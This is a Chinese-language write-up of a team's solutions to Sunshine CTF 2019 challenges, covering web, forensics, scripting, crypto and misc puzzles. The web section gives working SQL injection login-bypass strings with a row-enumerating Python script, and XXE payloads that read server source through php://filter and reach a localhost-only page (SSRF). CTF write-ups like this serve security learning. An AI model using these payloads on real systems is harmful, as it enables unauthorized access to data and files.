[Writeup] Sunshine CTF 2019

受到朋友的邀請來打的

隊名: admin’
得分: 730
排名: 58 / 464

整體看起來還不錯,只是有一些題目沒有想到真的有點嘔

[Web] WrestlerBook

WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn’t get an invite don’t even bother trying to view our profiles.

http://archive.sunshinectf.org:19006/

Author: dmaria

Solution

SQL Injection
Username 輸入 ' or 1=1; , password 隨意
按下 Log in 後發現是可行的
不過貌似沒有 Flag 的跡象

將 Username 欄位改成 ' or 1=1 limit 0, 1;
登入後發現結果不變
再改成 ' or 1=1 limit 1, 1;
發現使用者變成其他的了
也就是說我們可以暴力嘗試下去
在嘗試到 8 的時候,發現 Flag 欄位變成 example_flag
在確認 Flag 欄位是會改變的後 (廢話
接下來就是寫份腳本爆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
from bs4 import BeautifulSoup

url = "http://bk.sunshinectf.org/login.php"

for i in range(100):
print("# {}".format(str(i)))
data = {"username": "' or 1=1 limit {}, 1;".format(str(i)),
"password": "asdf"}
r = requests.post(url, data=data)
soup = BeautifulSoup(r.text, "html.parser")
soup = soup.find_all("div", class_="desc")
if "sun" in soup[3].text:
print(soup[3])
exit()

Flag sun{ju57_4n07h3r_5ql1_ch4ll}


[Web] Wrestler Name Generator

Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.

http://archive.sunshinectf.org:19007/

Author: dmaria

Solution

在隨便輸入並送出後會發現他的 request 送出的是 base64 加密過的 xml
也就是說我們可以試著 XXE 它

在試著送出 base64 加密下方的 xml 後,發現是可行的

註:記得要 URL Encode

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello" >
]>
<input>
<firstName>&xxe;</firstName>
<lastName>asdf</lastName>
</input>

由於不曉得這題在怎樣的情況下會輸出 Flag
所以試著先把這個網頁的 php 抓下來

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>adsf</lastName>
</input>

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Brother";
return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>$generatedName</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
EOT;
?>

可以知道,唯有從 localhost 訪問的情況下才會噴 Flag (SSRF)
也就是說我們可以把請求改成

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>asdf</lastName>
</input>

這樣即可得到 Flag

Flag sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}


[Forensics] Golly Gee Willikers

Someone sent me this weird file and I don’t understand it. It’s freaking me out, this isn’t a game! Please help me figure out what’s in this file.

golly_gee_willikers.txt

Author: hackucf_kcolley

Solution

在稍微 Google 檔案內容後可以得知:
此檔案是用來表示 Conway’s Game of Life 中 Cell 的情況
Game of Life 的 Wiki 上有提到各字元代表的情況
找了個 線上網站 把 txt 檔的東西丟上去後會發現顯示的是 ASCII 0 ~ 127 的字元

回到檔案再重新檢查一遍會發現這份檔案有兩個驚嘆號 (!)
而驚嘆號在這編碼中代表的意義是輸入結束
也就是說第一個驚嘆號後的內容被截斷了
要讓後面的內容完整顯示可以把前面的驚嘆號拿掉
拿掉後就會發現 Flag 了

Flag sun{th1s_w0nt_last}


[Scripting] TimeWarp

Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline!
Y0u’ll have to 4nswer the qu3stion5 before we ask them!

nc archive.sunshinectf.org 19004

Author: Mesaj2000

Solution

這題要你猜數字 300 輪
在全部答對後才會噴 Flag 出來
不過放心,每輪的數字都是固定的,不會隨著斷開連接就更換數字
也就是說寫 script 的目的就是要拿到下一輪的數字,最後再一次送出

注意:
不曉得是 print() 還是 recvline() + sendline() 的效率太低
我跑到超時不少次
最後是都把輸出拿掉 + recvline() 跟 sendling() 分開才順利拿到 Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import random

ans = []

while True:
r = remote("tw.sunshinectf.org", "4101")

for _ in range(2):
line = r.recvline().strip()

for i in ans:
r.sendline(i)

for i in ans:
r.recvline()
r.recvline()

if len(ans) == 300:
r.interactive()

r.sendline("0")
line = r.recvline().strip()
ans.append(line)

r.close()

Flag sun{derotser_enilemit_1001130519}


[Crypto] WelcomeCrypto

~C8 =39 A?2V8 73J:C 8FG7 AF?JJC2ECP
DF?LHb=r_>b0%_0520<c8bPN

Solution

~C8 =39 A?2V8 73J:C 8FG7 AF?JJC2ECP
ROT47: Org lbh pna'g fbyir guvf punyyratr!
ROT13: Bet you can't solve this challenge!

DF?LHb=r_>b0%_0520<c8bPN
ROT47: sun{w3lC0m3_T0_da_k4g3!}

Flag sun{w3lC0m3_T0_da_k4g3!}


[Crypto] CB1

We picked up a new numbers station that’s been active in the shortwave bands. We need to figure out how to crack his code.

Here’s an example file, crack the cipher and send us the plaintext message.

CB1.wav

NOTE: NON-Standard Flag Format

Author: leviathan

Solution

音檔語音內容為:

Code Number: 6
Begin message:
Hotel Kilo Charlie Golf X-ray Kilo Zulu November Kilo Oscar Juliett Kilo Yankee Uniform Lima Sierra Golf X-ray India November

經過一番搜尋後,得知後面的詞是 北約音標字母 (NATO Phonetic Alphabet)
只要取每個詞的第一個字就是他要傳遞的訊息了

HKCGXKZNKOJKYULSGXIN

至於 Code Number 看起來是 Caesar Cipher
Shift 6 位即可得到 Flag

Flag bewaretheidesofmarch


[Crypto] CB2

That numbers station is still active, they’ve just switched codes. We need you to crack it before they switch again.

Here’s an example file, crack the cipher and send us the plaintext message.

CB2.wav

NOTE: NON-Standard Flag Format

Author: leviathan

Solution

Codeword: clarinet
Begin message:
Delta Bravo Delta Alfa Alfa Bravo Echo Delta Delta Delta Delta Charlie Delta Echo Alfa Charlie Alfa Delta Bravo Bravo Delta Delta Alfa Delta Delta Echo Alfa Bravo Bravo Bravo

取每個詞第一個字後

DBDAABEDDDDCDEACADBBDDADDEABBB

注意到訊息只有出現 A, B, C, D, E 五個字
搜尋過後發現應該為 Polybius Square
用 clarinet 當作 Codeword 解密後得到這題的 Flag

Flag polysquaresrule


[Crypto] 16-bit-AES

Why so small?

nc archive.sunshinectf.org 19003

Author: ps_iclimbthings

Solution

在多次嘗試後會發現 Key 是一模一樣的
也就是說我們可以開兩個 Connection
用第二個 Connection 來加密第一個 Connection 要我們加密的明文
這樣就可以得到 Flag 了

Flag sun{Who_kn3w_A3$_cou1d_be_s0_vulner8ble?}


[Crypto] CB3

The number station has switched codes yet again. This one seems similar to the last cipher used, but we still haven’t been able to crack it.

Here’s an example file, crack the cipher and send us the plaintext message.

CB3.wav

NOTE: NON-Standard Flag Format

Author: leviathan

Solution

Codeword: prideful
Begin message:
X-ray Delta X-ray Golf Foxtrot Victor Victor Victor X-ray X-ray Alfa Foxtrot Victor Foxtrot Foxtrot Victor Alfa Delta Golf Delta Delta X-ray Alfa Golf Alfa Alfa Foxtrot Delta Foxtrot Foxtrot Foxtrot Foxtrot

取每個詞第一個字後

XDXGFVVVXXAFVFFVADGDDXAGAAFDFFFF

訊息只有出現 A, D, F, G, V, X ,應該為 ADFGVX Cipher
Codeword 用 prideful 解密後即可得到 Flag

Flag g3rm4n3ncrypt10n


[Misc] DiscordSlam

I heard there’s a new bout going on in some new arena. It sounded like the arena’s name was “Disboard”. ¯(ツ)/¯.

Better go check it out!

Flag is in the banner of the #lobby channel

Author: Helithumper

Solution

Discord群 就可以得到 Flag 了

Flag sun{w3lcom3_t0_d1Sc0RdM4n1A!!!}


[Misc] Brainmeat

I am having a beef with someone that is so bad I cant even think! He sent me a message but I think he was having a stroke. Please decipher the message while I beat them up.

brainmeat.txt

Author: Aleccoder

Solution

在打開 brainmeat.txt 後,有一堆看似無意的文字
不過我第一眼看到的是 Brainfuck 所用的字元
所以寫了份 python 把所有 Brainfuck 用到的字元分離

1
2
3
4
5
6
7
8
9
10
11
fin = open("brainmeat.txt", "r")

ch = ['+', '-', '>', '<', '[', ']', '.', ',']
out = ""

for line in fin:
for c in line:
if c in ch:
out += c

print(out)

得到

+[--------->++<]>+.++.-------.[--->+<]>+.[->+++++<]>-.-[--->+<]>--.+[->+++<]>+.++++++++.------------.[--->+<]>-.------------.---.[->+++<]>--.-[--->+<]>--.[--->+<]>----.+++[->+++<]>++.++++++++.+++++.[++>---<]>--.-[-->+++++++<]>.[->+++<]>.--[--->+<]>.+[->+++<]>+.++++++++.+++++.[->+++<]>++.++++.+++..+.>--[-->+++<]>.

執行即可得到 Flag

Flag sun{fuck_the-brain#we!got^beef}


[Misc] Middle Ocean

I made a deal with Hulch Hogan (Hulk Hogan’s brother) for a treasure map can you get the treaure for me?

Flag format is SUN{}

treasure_map.txt

Author: Aleccoder

Solution

題目給的文件 treasure_map.txt 中有 7 個不同的 Plus Code
把他們丟上 地圖 後,可以發現它們的經緯度小數點下都相同

CMM72222+22 : 83.000062,85.000063
CQC52222+22 : 78.000062,123.000063
CH9J2222+22 : 77.000062,52.000062
9H9M2222+22 : 57.000062,53.000062
8PQ42222+22 : 45.000062,102.000063
9P4G2222+22 : 52.000062,110.000063
8Q572222+22 : 33.000062,125.000063

把小數點下都去掉後,可以得到

83 85 78 123 77 52 57 53 45 102 52 110 33 125

把他們都轉成 ASCII 後即可得到 Flag

Flag SUN{M495-f4n!}